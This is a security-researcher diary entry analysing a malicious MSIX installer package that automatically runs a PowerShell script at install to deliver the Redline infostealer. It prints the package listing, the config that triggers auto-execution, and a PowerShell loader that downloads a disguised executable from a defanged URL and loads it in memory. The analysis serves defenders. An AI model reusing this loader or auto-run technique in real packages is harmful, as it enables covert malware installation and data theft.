Redline Dropped Through MSIX Package

Published: 2023-11-15
Last Updated: 2023-11-15 07:38:15 UTC
by Xavier Mertens (Version: 1)
1 comment(s)

The MSIX package file format has been in the light for a few weeks. The GHOSTPULSE[1] malware has been identified to bypass many security controls delivered through an MSIX package. Like many operating systems, Windows can install applications by executing an executable (often called "setup.exe"), but packages are also available. Think about the well-known “.deb” for Debian/Ubuntu or “.rpm” for RedHat/CentOS. In the Windows eco-system, packages have the “.msi” extension. They have been used to deliver malware for a while (see my old diary from 2018![2]).

MSI packages are Composite Document Files. Like Office documents, Microsoft developed a new format and added an “x” to the extensions like .docx, .xlsx, etc. The file format is the same: it’s a ZIP archive containing all the files to be installed, but… with a nice feature: automatic execution of a PowerShell script! It's a great gift from Microsoft.

After reading the GHOSTPULSE report, I created a new hunting rule to detect ZIP archives that contain two files called “StartingScriptWrapper.ps1 “ and “config.json”. MSIX files are getting popular, and I spotted a lot of files! Here is a nice sample (SHA256:82db2d060d69ab6f88b85b79cf16255ee30982db1228d6e94ea02bf4feb2f181) with a low VT score[3].

remnux@remnux:/MalwareZoo/20231114$ zipdump.py “VoiceMode (1).msix”
Index Filename                                               Encrypted Timestamp           
    1 Registry.dat                                                   0 2023-10-04 09:43:38
    2 Screenshot_2.png                                               0 1980-00-00 00:00:00
    3 VC_redist.x86.exe                                              0 2023-09-22 18:18:20
    4 worldhack.ps1                                                  0 2023-10-03 11:42:56
    5 StartingScriptWrapper.ps1                                      0 2023-06-28 08:57:32
    6 config.json                                                    0 2023-10-04 09:43:38
    7 PsfRuntime64.dll                                               0 2023-10-04 09:43:40
    8 PsfRuntime32.dll                                               0 2023-06-28 09:40:44
    9 PsfRunDll64.exe                                                0 2023-06-28 09:41:18
   10 PsfRunDll32.exe                                                0 2023-06-28 09:40:46
   11 Assets/Store50x50Logo.scale-100.png                            0 1980-00-00 00:00:00
   12 Assets/VCredist.x86.exeSquare44x44Logo.scale-100.png           0 2023-06-28 08:57:38
   13 Assets/VCredist.x86.exeSquare150x150Logo.scale-100.png         0 2023-06-28 08:57:38
   14 AI_STUBS/AiStubX86.exe                                         0 2023-10-04 09:43:38
   15 resources.pri                                                  0 2023-10-04 09:43:38
   16 AppxManifest.xml                                               0 2023-10-04 09:43:38
   17 AppxBlockMap.xml                                               0 2023-10-04 09:43:40
   18 [Content_Types].xml                                            0 2023-10-04 09:43:38
   19 AppxMetadata/CodeIntegrity.cat                                 0 2023-10-04 09:43:38
   20 AppxSignature.p7x                                              0 2023-10-04 12:44:58

The “StartingScriptWrapper.ps1” wrapper is, most of the time, the same and expects one parameter that will be parsed via a classic Invoke-Expression:

Param (
    [Parameter(Mandatory=$true)]
    [string]$ScriptPathAndArguments
)

try
{
invoke-expression $scriptPathAndArguments
}
catch
{
write-host $_.Exception.Message
#ERROR 774 refers to ERROR_ERRORS_ENCOUNTERED.
#This error will be brought up the the user.
exit(774)
}

Which parameter will be passed? It’s defined in the JSON file:

remnux@remnux:/MalwareZoo/20231114$ zipdump.py 82db2d060d69ab6f88b85b79cf16255ee30982db1228d6e94ea02bf4feb2f181 -s 6 -d
{
    "processes": [
        {
            "executable": ".*",
            "fixups": []
        }
    ],
    "applications": [
        {
            "id": "VCredist.x86.exe",
            "startScript": {
                "scriptExecutionMode": "-ExecutionPolicy RemoteSigned",
                "scriptPath": "worldhack.ps1"
            }
        }
    ]
}

The script “worldhack.ps1 will be automatically executed during the package installation. Here is the content (the most interesting part):

remnux@remnux:/MalwareZoo/20231114$ zipdump.py 82db2d060d69ab6f88b85b79cf16255ee30982db1228d6e94ea02bf4feb2f181 -s 4 -d

[...stuff deleted...]

$Name1 = (New-Object System.Net.WebClient).DownloadData("hxxps://browse-plus[.]com/didicert.jpg")
$Name2 = [System.Reflection.Assembly]::Load($Name1)
$Name3 = $Name2.EntryPoint
if ($Name3) {
    $Name4 = @()
    $Name3.Invoke($null, $Name4)
}

The interesting URL is the last one. It fetches a fake picture, a PE file that is loaded. The SHA256 is a16abe0ece8dac8f512a23f81daf704ec3c797de3334b73f1f5fcb0be5370f62, and the payload was identified as a good old Redline...

It's a good idea to pay more attention to MSIX files now!

[1] https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks
[2] https://isc.sans.edu/diary/Malware+Delivered+via+Windows+Installer+Files/23349
[3] https://www.virustotal.com/gui/file/82db2d060d69ab6f88b85b79cf16255ee30982db1228d6e94ea02bf4feb2f181/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 comment(s)

Comments


Diary Archives